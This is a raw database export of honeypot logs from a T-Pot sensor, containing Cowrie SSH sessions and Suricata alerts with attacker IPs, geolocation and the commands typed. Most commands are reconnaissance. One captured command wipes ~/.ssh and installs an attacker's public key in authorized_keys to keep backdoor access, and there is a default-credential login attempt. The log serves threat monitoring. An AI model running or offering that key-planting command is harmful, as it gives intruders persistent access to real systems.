"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40422, "timestamp": "2021-09-20T11:54:15.145831", "@timestamp": "2021-09-20T11:54:15.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33074	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:15.510686+03	2021-09-20 15:00:04.283723+03	{"_id": "5wYOA3wBvYTbRNuEhk3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "189.50.42.214", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.47034215927124023, "duplicate": true, "timestamp": "2021-09-20T11:54:15.510686Z", "@timestamp": "2021-09-20T11:54:15.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33075	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:15.886212+03	2021-09-20 15:00:04.284723+03	{"_id": "6AYOA3wBvYTbRNuEhk3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:15.886212Z", "@timestamp": "2021-09-20T11:54:15.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33076	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:16.741893+03	2021-09-20 15:00:04.285723+03	{"_id": "6wYOA3wBvYTbRNuEik3C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:16.741893Z", "@timestamp": "2021-09-20T11:54:16.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33077	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:54:17.822431+03	2021-09-20 15:00:04.287722+03	{"_id": "9wYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "119df4829777", "@version": "1", "duration": 3.5986685752868652, "timestamp": "2021-09-20T11:54:17.822431Z", "@timestamp": "2021-09-20T11:54:17.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33879	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:57:43.764287+03	2021-09-20 15:00:06.419722+03	{"_id": "SQYRA3wBvYTbRNuEs1Lu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "105ef05babfc", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:57:43.764287Z", "@timestamp": "2021-09-20T11:57:43.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33078	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:18.01572+03	2021-09-20 15:00:04.288722+03	{"_id": "8wYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "189.50.42.214", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.4837479591369629, "duplicate": true, "timestamp": "2021-09-20T11:54:18.015720Z", "@timestamp": "2021-09-20T11:54:18.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33079	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:18.011655+03	2021-09-20 15:00:04.289722+03	{"_id": "-QYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:18.011655Z", "@timestamp": "2021-09-20T11:54:18.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33080	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:18.803425+03	2021-09-20 15:00:04.290722+03	{"_id": "_QYOA3wBvYTbRNuEkk2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "189.50.42.214", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.4718353748321533, "duplicate": true, "timestamp": "2021-09-20T11:54:18.803425Z", "@timestamp": "2021-09-20T11:54:18.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33081	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:18.33225+03	2021-09-20 15:00:04.291722+03	{"_id": "-wYOA3wBvYTbRNuEkk2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:18.332250Z", "@timestamp": "2021-09-20T11:54:18.332Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33082	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:18.978179+03	2021-09-20 15:00:04.292722+03	{"_id": "_wYOA3wBvYTbRNuEkk2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:18.978179Z", "@timestamp": "2021-09-20T11:54:18.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33124	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:31.673395+03	2021-09-20 15:00:04.343723+03	{"_id": "ZgYOA3wBvYTbRNuExU5o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:31.673395Z", "@timestamp": "2021-09-20T11:54:31.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33083	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:19.159929+03	2021-09-20 15:00:04.293722+03	{"_id": "BAYOA3wBvYTbRNuElk59", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:19.159929Z", "@timestamp": "2021-09-20T11:54:19.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33084	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:19.925922+03	2021-09-20 15:00:04.295723+03	{"_id": "BQYOA3wBvYTbRNuElk59", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:19.925922Z", "@timestamp": "2021-09-20T11:54:19.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33085	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:19.926716+03	2021-09-20 15:00:04.297722+03	{"_id": "BgYOA3wBvYTbRNuElk59", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:19.926716Z", "@timestamp": "2021-09-20T11:54:19.926Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
33086	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:10.272171+03	2021-09-20 15:00:04.298722+03	{"_id": "nAYOA3wBvYTbRNuEc01M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:10.272171Z", "@timestamp": "2021-09-20T11:54:10.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33087	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:10.748374+03	2021-09-20 15:00:04.299722+03	{"_id": "mwYOA3wBvYTbRNuEc01L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:10.748374Z", "@timestamp": "2021-09-20T11:54:10.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33088	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:10.748912+03	2021-09-20 15:00:04.300723+03	{"_id": "oAYOA3wBvYTbRNuEc01M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:10.748912Z", "@timestamp": "2021-09-20T11:54:10.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33089	157.240.9.23	109.199.241.180	Suricata	2021-09-20 14:54:10.42691+03	2021-09-20 15:00:04.301722+03	{"_id": "pAYOA3wBvYTbRNuEdE2y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:10.426910+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.23", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.23", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2175750813942686, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34172, "timestamp": "2021-09-20T11:54:10.426910Z", "@timestamp": "2021-09-20T11:54:10.426Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33090	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:11.150989+03	2021-09-20 15:00:04.303722+03	{"_id": "pgYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:11.150989Z", "@timestamp": "2021-09-20T11:54:11.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33091	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:11.362993+03	2021-09-20 15:00:04.304722+03	{"_id": "qwYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "91.231.219.157", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21210622787475586, "duplicate": true, "timestamp": "2021-09-20T11:54:11.362993Z", "@timestamp": "2021-09-20T11:54:11.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33092	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:11.61773+03	2021-09-20 15:00:04.305723+03	{"_id": "sAYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:11.617730Z", "@timestamp": "2021-09-20T11:54:11.617Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
